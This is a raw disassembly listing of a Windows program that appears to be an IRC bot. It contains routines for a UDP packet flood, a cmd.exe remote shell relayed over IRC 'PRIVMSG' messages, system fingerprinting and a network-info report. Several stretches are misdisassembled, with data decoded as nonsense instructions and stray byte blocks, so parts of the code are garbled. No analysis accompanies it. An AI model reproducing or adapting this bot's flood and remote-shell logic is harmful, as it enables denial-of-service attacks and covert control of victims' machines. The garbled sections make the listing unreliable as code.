		xor	eax, eax
		cmp	esi, 1
		jle	short loc_406D61
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_406D54:				; CODE XREF: sub_406D38+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_406D54
		pop	edi
		jmp	short loc_406D65
; ---------------------------------------------------------------------------


loc_406D61:				; CODE XREF: sub_406D38+Aj
		mov	edx, [esp+4+arg_0]


loc_406D65:				; CODE XREF: sub_406D38+27j
		test	esi, esi
		pop	esi
		jz	short loc_406D6F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_406D6F:				; CODE XREF: sub_406D38+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_406D38	endp

; ---------------------------------------------------------------------------


loc_406D85:				; DATA XREF: seg000:0040B4FAo
		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_411C60
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	ds:dword_42F9A4
		mov	[ebp+8], eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_42FA58
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_406DE0
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_42FA9C
		cmp	eax, ebx
		jz	short loc_406DE6


loc_406DE0:				; CODE XREF: seg000:00406DCDj
		cmp	dword ptr [ebp+8], 0FFFFFFFFh
		jnz	short near ptr loc_406E42+1


loc_406DE6:				; CODE XREF: seg000:00406DDEj
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_421C5C
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_406E26
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_40DFB2
		add	esp, 14h


loc_406E26:				; CODE XREF: seg000:00406E04j
		lea	eax, [ebp-344h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-30h]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A70000h


loc_406E42:				; CODE XREF: seg000:00406DE4j
		xor	[ebx], bh
		retn
; ---------------------------------------------------------------------------
		jz	short loc_406E53
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-4], eax
		jmp	short loc_406E56
; ---------------------------------------------------------------------------


loc_406E53:				; CODE XREF: seg000:00406E45j
		mov	[ebp-4], esi


loc_406E56:				; CODE XREF: seg000:00406E51j
		push	1Ch
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_410870
		or	dword ptr [ebp-18h], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp-3Ch], eax
		jle	short loc_406E76
		mov	[ebp-3Ch], eax


loc_406E76:				; CODE XREF: seg000:00406E71j
		cmp	[ebp-38h], edi
		jge	short loc_406E7E
		mov	[ebp-38h], edi


loc_406E7E:				; CODE XREF: seg000:00406E79j
		xor	esi, esi
		cmp	[ebp-40h], ebx
		jle	short loc_406EAB


loc_406E85:				; CODE XREF: seg000:00406EA9j
		push	dword ptr [ebp-38h]
		lea	eax, [ebp-20h]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp-10320h]
		push	dword ptr [ebp-3Ch]
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		call	ds:dword_42F93C
		inc	esi
		cmp	esi, [ebp-40h]
		jl	short loc_406E85


loc_406EAB:				; CODE XREF: seg000:00406E83j
		push	dword ptr [ebp+8]
		call	ds:dword_42FAD0
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_421C1C
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_406EF4
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_40DFB2
		add	esp, 14h


loc_406EF4:				; CODE XREF: seg000:00406ED2j
		lea	eax, [ebp-344h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-30h]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
; ---------------------------------------------------------------------------
		db 63h
; ---------------------------------------------------------------------------


loc_406F11:				; DATA XREF: seg000:0040B641o
		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_411C60
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_410845
		pop	ecx
		push	11h
		push	2
		push	2
		call	ds:dword_42FA98
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp-0B0h]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	ds:dword_42FA58
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jnz	short near ptr loc_406FF5+1
		lea	eax, [ebp-0B0h]
		push	eax
		call	ds:dword_42FA9C
		cmp	eax, edi
		jnz	short near ptr loc_406FEE+1
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_421CD8
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_406FD2
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_40DFB2
		add	esp, 14h


loc_406FD2:				; CODE XREF: seg000:00406FB0j
		lea	eax, [ebp-334h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-20h]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h


loc_406FEE:				; CODE XREF: seg000:00406F90j
		out	8Bh, al		; DMA page register 74LS612:
					; Channel 5 (address bits 17-23)
		inc	eax
		or	al, 8Bh
		add	bl, ch


loc_406FF5:				; CODE XREF: seg000:00406F7Fj
		add	ecx, [ebp+8B0845h]
		cmp	[ebp-24h], edi
		mov	[ebp-0Ch], eax
		jnz	short loc_407014
		call	sub_41084F
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_407017
; ---------------------------------------------------------------------------


loc_407014:				; CODE XREF: seg000:00407001j
		push	dword ptr [ebp-24h]


loc_407017:				; CODE XREF: seg000:00407012j
		call	ds:dword_42FA18
		cmp	[ebp-24h], esi
		mov	[ebp-0Eh], ax
		jge	short loc_407029
		mov	[ebp-24h], esi


loc_407029:				; CODE XREF: seg000:00407024j
		mov	eax, 0FFFFh
		cmp	[ebp-24h], eax
		jle	short loc_407036
		mov	[ebp-24h], eax


loc_407036:				; CODE XREF: seg000:00407031j
		mov	eax, [ebp-30h]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp-28h], edi
		mov	[ebp-30h], eax
		jnz	short loc_40704A
		mov	[ebp-28h], esi


loc_40704A:				; CODE XREF: seg000:00407045j
		xor	esi, esi
		cmp	[ebp-2Ch], edi
		jle	short loc_40706B


loc_407051:				; CODE XREF: seg000:00407069j
		call	sub_41084F
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp-2Ch]
		mov	[ebp+esi-10311h], dl
		jl	short loc_407051


loc_40706B:				; CODE XREF: seg000:0040704Fj
					; seg000:004070ADj ...
		mov	eax, [ebp-30h]
		dec	dword ptr [ebp-30h]
		test	eax, eax
		jle	short loc_4070CA
		push	0Bh
		pop	esi


loc_407078:				; CODE XREF: seg000:004070A8j
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	sub_41084F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp-2Ch]
		sub	eax, edx
		push	eax
		lea	eax, [ebp-10310h]
		push	eax
		push	ebx
		call	ds:dword_42FA7C
		push	dword ptr [ebp-28h]
		call	ds:dword_41C050	; Sleep
		dec	esi
		jnz	short loc_407078
		cmp	[ebp-24h], edi
		jnz	short loc_40706B
		call	sub_41084F
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	ds:dword_42FA18
		mov	[ebp-0Eh], ax
		jmp	short loc_40706B
; ---------------------------------------------------------------------------


loc_4070CA:				; CODE XREF: seg000:00407073j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_421C98
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_40710A
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_40DFB2
		add	esp, 14h


loc_40710A:				; CODE XREF: seg000:004070E8j
		lea	eax, [ebp-334h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-20h]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A70000h
		xor	ds:dword_42FD64[ecx], esp ; CODE XREF: sub_40718F+7Ep
					; seg000:00407320p ...
		push	esi
		mov	esi, ds:dword_41C068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40713B
		push	eax
		call	esi ; dword_41C068


loc_40713B:				; CODE XREF: seg000:00407136j
		mov	eax, ds:dword_42FD6C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407148
		push	eax
		call	esi ; dword_41C068


loc_407148:				; CODE XREF: seg000:00407143j
		mov	eax, ds:dword_42FD60
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407155
		push	eax
		call	esi ; dword_41C068


loc_407155:				; CODE XREF: seg000:00407150j
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407157	proc near		; CODE XREF: seg000:0040CA46p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_410A70
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_42FD68
		call	near ptr 0A70000h
		in	al, 85h
		sal	byte ptr [ebp+arg_0+1],	0E8h
		mov	eax, ds:33FFFFFFh
		ror	cl, 0C3h
		push	1
		pop	eax
		leave
		retn
sub_407157	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40718F	proc near		; CODE XREF: seg000:004072E9p
					; seg000:00407308p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_42E658
		push	[ebp+arg_4]
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4071D2
		push	7D0h
		call	ds:dword_41C050	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4104AF
		add	esp, 10h
		jmp	short loc_4071E9
; ---------------------------------------------------------------------------


loc_4071D2:				; CODE XREF: sub_40718F+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4104AF
		add	esp, 0Ch


loc_4071E9:				; CODE XREF: sub_40718F+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42FA68
		test	eax, eax
		jg	short loc_407212
		call	near ptr loc_407126+1


loc_407212:				; CODE XREF: sub_40718F+7Cj
		xor	eax, eax
		leave
		retn
sub_40718F	endp

; ---------------------------------------------------------------------------


loc_407216:				; DATA XREF: seg000:004074DBo
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_42FD70


loc_40722E:				; CODE XREF: seg000:004072F1j
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	ds:dword_42FD64
		call	near ptr 0A70000h
		inc	ecx
		test	eax, eax
		jz	loc_4072FC
		cmp	[ebp-4], edi
		jnz	short loc_407291
		lea	eax, [ebp-8]
		push	eax
		push	ds:dword_42FD60
		call	near ptr 0A70000h


loc_407275:				; CODE XREF: seg000:0040727Bj
		arpl	[ebp-7EF28B40h], ax
		jge	short loc_407275
		add	eax, [ecx]
; ---------------------------------------------------------------------------
		db 0
		dd 99850F00h, 6A000000h, 5015FF0Ah, 0EB0041C0h
; ---------------------------------------------------------------------------
		popf


loc_407291:				; CODE XREF: seg000:00407264j
		xor	eax, eax
		cmp	[ebp-4], edi
		jbe	short loc_4072A8


loc_407298:				; CODE XREF: seg000:004072A6j
		cmp	byte ptr [ebp+eax-20Ch], 0Ah
		jz	short loc_4072F6
		inc	eax
		cmp	eax, [ebp-4]
		jb	short loc_407298


loc_4072A8:				; CODE XREF: seg000:00407296j
		mov	[ebp-4], esi


loc_4072AB:				; CODE XREF: seg000:004072FAj
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		lea	eax, [ebp-20Ch]
		push	eax
		push	ds:dword_42FD64
		call	ds:dword_41C08C	; ReadFile
		test	eax, eax
		jz	short loc_407348
		lea	eax, [ebp-20Ch]
		push	eax
		push	ebx
		push	ds:dword_42FDA4
		call	sub_40718F
		add	esp, 0Ch
		jmp	loc_40722E
; ---------------------------------------------------------------------------


loc_4072F6:				; CODE XREF: seg000:004072A0j
		inc	eax
		mov	[ebp-4], eax
		jmp	short loc_4072AB
; ---------------------------------------------------------------------------


loc_4072FC:				; CODE XREF: seg000:0040725Bj
		push	offset dword_421DA4
		push	ebx
		push	ds:dword_42FDA4
		call	sub_40718F
		push	dword ptr [ebp+8]
		call	sub_410277
		add	esp, 10h
		push	1
		call	near ptr 0A70000h
		push	cs
		call	near ptr loc_407126+1
		push	offset dword_421D68
		push	ebx
		push	ds:dword_42FDA4
		call	sub_40718F
		push	dword ptr [ebp+8]
		call	sub_410277
		add	esp, 10h
		push	edi
		call	near ptr 0A70000h
		push	edi


loc_407348:				; CODE XREF: seg000:004072D9j
		push	offset dword_421D24
		push	ebx
		push	ds:dword_42FDA4
		call	sub_40718F
		push	dword ptr [ebp+8]
		call	sub_410277
		add	esp, 10h
		push	edi
		call	near ptr 0A70000h
		pop	ds


loc_40736B:				; CODE XREF: seg000:0040D551p
		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	near ptr loc_407126+1
		xor	esi, esi
		lea	eax, [ebp-178h]
		push	esi
		push	eax
		push	104h		; CODE XREF: seg000:00407401j
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_42FAD4
		test	eax, eax
		jz	loc_407465
		push	1
		lea	eax, [ebp-1Ch]
		pop	ebx
		mov	edi, ds:dword_41C0F4
		push	esi
		push	eax
		lea	eax, [ebp-0Ch]
		mov	dword ptr [ebp-1Ch], 0Ch
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		mov	[ebp-14h], ebx
		mov	[ebp-18h], esi
		call	edi ; dword_41C0F4
		test	eax, eax
		jz	loc_407465
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		call	edi ; dword_41C0F4
		test	eax, eax
		jz	loc_407465
		mov	edi, ds:dword_41C0F0
		push	3
		push	esi
		push	esi
		push	offset dword_42FD68
		call	edi ; dword_41C0F0
		push	eax
		push	dword ptr [ebp-8]
		call	edi ; dword_41C0F0
		push	eax
		call	near ptr 0A70000h
		jmp	short near ptr loc_407386+2
; ---------------------------------------------------------------------------
		db 0C0h
		dd 106A5F74h, 56D4458Dh, 945EE850h, 446A0000h, 5F8C458Dh
		dd 0E8505657h, 9450h, 83FC458Bh, 458918C4h, 0F4458BC4h
		dd 89C84589h, 458DCC45h, 8C7D89D4h, 8C458D50h, 56565650h
		dd 58BB5653h, 560042E6h, 0FE88858Dh, 5053FFFFh,	1B845C7h
		dd 66000001h, 0E8BC7589h, 668BA0h, 75C08536h
		db 8
; ---------------------------------------------------------------------------


loc_407465:				; CODE XREF: seg000:0040739Aj
					; seg000:004073C7j ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40751B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-4]
		mov	edi, ds:dword_41C068
		call	edi ; dword_41C068
		mov	eax, [ebp-10h]
		push	dword ptr [ebp-28h]
		mov	ds:dword_42FD64, eax
		mov	eax, [ebp-8]
		mov	ds:dword_42FD6C, eax
		mov	eax, [ebp-2Ch]
		mov	ds:dword_42FD60, eax
		call	edi ; dword_41C068
		mov	eax, [ebp+8]
		cmp	[ebp+0Ch], esi
		mov	ds:dword_42FDA4, eax
		jz	short loc_4074A7
		push	dword ptr [ebp+0Ch]
		jmp	short loc_4074A8
; ---------------------------------------------------------------------------


loc_4074A7:				; CODE XREF: seg000:004074A0j
		push	ebx


loc_4074A8:				; CODE XREF: seg000:004074A5j
		push	offset dword_42FD70
		call	sub_4104AF
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_421E30
		call	sub_40FF5B
		mov	edi, eax
		mov	ecx, [ebp-24h]
		imul	edi, 234h
		add	esp, 0Ch
		mov	ds:dword_434BB0[edi], ecx
		lea	ecx, [ebp-30h]
		push	ecx
		push	esi
		push	eax
		push	offset loc_407216
		push	esi
		push	esi
		call	ds:dword_41C064	; CreateThread
		cmp	eax, esi
		mov	ds:dword_434BBC[edi], eax
		jnz	short loc_407519
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-378h]
		push	offset dword_421DE8
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-378h]
		push	eax
		call	sub_407AB1
		add	esp, 10h


loc_407519:				; CODE XREF: seg000:004074F0j
		xor	eax, eax


loc_40751B:				; CODE XREF: seg000:00407468j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_407520	proc near		; CODE XREF: sub_40468B+74p
					; seg000:0040D5F5p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_41C04C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_42FDAC
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41099A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_407520	endp

; ---------------------------------------------------------------------------
		db 53h,	56h, 57h
		dd 0F4240BEh, 68310F00h, 3E8h, 0D88BFA8Bh, 0C05015FFh
		dd 310F0041h, 6AC32Bh, 5256D71Bh, 0AB5EE850h, 0FA8B0000h
		dd 0FF85D88Bh, 472D777h, 0D177DE3Bh, 646A006Ah,	0C5E85357h
		dd 8B0000AAh, 33646ACAh, 85F08BD2h, 5B7758C9h, 0FE830572h
		dd 6A057350h, 58D2334Bh, 4B77C985h, 0FE830572h,	6A057347h
		dd 58D23342h, 3B77C985h, 0FE830572h, 6A057337h,	58D23332h
		dd 2B77C985h, 0FE830572h, 6A057326h, 58D23321h,	1B77C985h
		dd 0FE830572h, 6A05731Eh, 58D23319h, 0B77C985h,	0FE830572h
		dd 3304730Ah, 2BD233C0h, 3D11BC6h, 5FD713C3h
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40763F	proc near		; CODE XREF: seg000:0040D7A1p

var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_42E658
		mov	[ebp+var_CC], 94h
		call	ds:dword_41C000	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_4076C6
		cmp	[ebp+var_C4], ebx
		jnz	short loc_4076A2
		cmp	[ebp+var_BC], 1
		jnz	short loc_40768C
		mov	[ebp+var_4], offset a95	; "95"


loc_40768C:				; CODE XREF: sub_40763F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_407741
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_407712
; ---------------------------------------------------------------------------


loc_4076A2:				; CODE XREF: sub_40763F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_4076B4
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_407709
; ---------------------------------------------------------------------------


loc_4076B4:				; CODE XREF: sub_40763F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_407702
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_407709
; ---------------------------------------------------------------------------


loc_4076C6:				; CODE XREF: sub_40763F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_407702
		cmp	[ebp+var_C4], ebx
		jnz	short loc_4076E0
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_407709
; ---------------------------------------------------------------------------


loc_4076E0:				; CODE XREF: sub_40763F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_4076F2
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_407709
; ---------------------------------------------------------------------------


loc_4076F2:				; CODE XREF: sub_40763F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_407709


loc_407702:				; CODE XREF: sub_40763F+7Cj
					; sub_40763F+8Ej
		mov	[ebp+var_4], offset dword_421F80


loc_407709:				; CODE XREF: sub_40763F+73j
					; sub_40763F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_407741


loc_407712:				; CODE XREF: sub_40763F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_407741
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_421F78
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_407741:				; CODE XREF: sub_40763F+54j
					; sub_40763F+D1j ...
		mov	ax, ds:word_421F74
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_42F904
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40777A
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax ; dword_42F904


loc_40777A:				; CODE XREF: sub_40763F+12Cj
		push	[ebp+arg_4]
		call	sub_406CDF
		pop	ecx
		push	eax
		call	ds:dword_42FA58
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_42F9D0
		cmp	eax, ebx
		jz	short loc_4077A3
		push	dword ptr [eax]
		jmp	short loc_4077A8
; ---------------------------------------------------------------------------


loc_4077A3:				; CODE XREF: sub_40763F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_4077A8:				; CODE XREF: sub_40763F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4104AF
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 0A70000h
		fisttp	dword ptr [ebp-1137Bh]
		jmp	fword ptr [edx+46h]
sub_40763F	endp

; ---------------------------------------------------------------------------
		dd 1F506850h, 0BE530042h, 409h,	1DE85653h, 0C4006688h
		dd 0FEA4858Dh, 466AFFFFh, 0EB2C6850h, 53530041h, 8806E856h
		dd 6AEE0066h, 0C8458D20h, 69E85053h, 83000090h,	458D0CC4h
		dd 0EDE850C8h, 12006687h, 458D5353h, 8D5053E8h,	0FFFB1885h
		dd 51E850FFh, 8D0000A9h, 8D50E845h, 0FFF81885h,	0DFE850FFh
		dd 6A00000Bh, 59F08B60h, 0F818BD8Dh, 0A5F3FFFFh, 0B58D606Ah
		dd 0FFFFF818h, 98BD8D59h, 0F3FFFFF9h, 0C5E853A5h, 83FFFFFCh
		dd 8D5020C4h, 0FFFEA485h, 858D50FFh, 0FFFFFEECh, 0A4858D50h
		dd 50FFFFFDh, 0E80C75FFh, 0FFFFF463h, 858D5059h, 0FFFFFC1Ch
		dd 18858D50h, 50FFFFFBh, 0FA18858Dh, 0B5FFFFFFh, 0FFFFFF40h
		dd 0FF3CB5FFh, 0B5FFFFFFh, 0FFFFFF38h, 50FC75FFh, 0FA98858Dh
		dd 8B50FFFFh, 0E8C1D445h, 0E850530Ah, 0A4Ah, 8B505959h
		dd 0E8C1D045h, 0E850530Ah, 0A3Ah, 0E8505959h, 0FFFFFCB5h
		dd 78685052h, 6800421Eh, 200h, 0E80875FFh, 90B2h, 8308458Bh
		dd 5E5F50C4h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078F3	proc near		; CODE XREF: seg000:0040C961p
					; seg000:0040D7CFp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_410870
		add	esp, 0Ch
		cmp	ds:dword_42FB00, 0
		jnz	short loc_407967
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_42F8E8
		test	eax, eax
		jnz	short loc_407948
		lea	eax, [ebp+var_8C]
		push	offset dword_421FF4
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_407948:				; CODE XREF: sub_4078F3+40j
		test	[ebp+var_C], 1
		jz	short loc_407960
		push	offset dword_421FEC


loc_407953:				; CODE XREF: sub_4078F3+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		jmp	short loc_407986
; ---------------------------------------------------------------------------


loc_407960:				; CODE XREF: sub_4078F3+59j
		push	offset dword_421FE8
		jmp	short loc_407953
; ---------------------------------------------------------------------------


loc_407967:				; CODE XREF: sub_4078F3+28j
		mov	esi, offset off_421FE4
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_4104AF
		add	esp, 10h


loc_407986:				; CODE XREF: sub_4078F3+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_406CDF
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41099A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_4078F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079B9	proc near		; CODE XREF: seg000:0040C894p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
